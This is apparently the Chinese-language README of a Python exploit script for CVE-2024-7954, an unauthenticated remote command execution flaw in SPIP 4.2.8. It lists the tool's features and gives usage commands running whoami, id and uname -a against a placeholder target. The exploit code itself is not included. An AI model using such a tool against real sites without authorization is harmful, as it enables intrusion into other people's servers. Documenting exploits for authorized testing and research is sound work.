CVE-2024-7954 - SPIP 4.2.8 远程命令执行（RCE）漏洞利用

此脚本通过 porte_plume_previsu 端点利用 SPIP 4.2.8 版本中的远程代码执行漏洞。该漏洞允许未认证的攻击者通过预览渲染特制的图片标签来注入 PHP 代码。

CVE 编号: CVE-2024-7954
组件: SPIP CMS (porte_plume_previsu)
影响: 未认证的远程命令执行
严重程度: 严重

漏洞利用功能

• 执行任意系统命令
• 获取实时命令输出
• 自动提取并显示 IP 地理位置信息
• 代理支持（Burp/ZAP 或其他）

用法

python3 cve_2024_7954_rce.py --url <TARGET_URL> --cmd <COMMAND> [--proxy <IP:PORT>]

示例 1

python3 cve_2024_7954_rce.py --url <TARGET_URL> --cmd "whoami" --proxy "127.0.0.1:8080"

Burp Suite 请求/响应：

示例 2

python3 cve_2024_7954_rce.py --url <TARGET_URL> --cmd "id" --proxy "127.0.0.1:8080"

Burp Suite 请求/响应：

示例 3

python3 cve_2024_7954_rce.py --url <TARGET_URL> --cmd "uname -a" --proxy "127.0.0.1:8080"

Burp Suite 请求/响应：

⚠️ 免责声明

此漏洞利用脚本仅用于授权安全测试、防御性研究和教育目的。

官方渠道

• YouTube @rootctf
• X @r0otk3r